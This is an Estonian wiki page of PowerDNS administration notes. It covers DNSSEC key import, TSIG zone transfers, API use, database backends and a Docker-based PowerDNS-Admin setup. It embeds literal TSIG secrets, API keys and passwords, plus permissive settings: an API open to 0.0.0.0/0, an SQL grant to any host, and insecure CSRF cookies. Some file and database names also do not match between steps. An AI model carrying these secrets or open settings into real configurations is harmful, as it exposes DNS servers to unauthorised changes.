 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
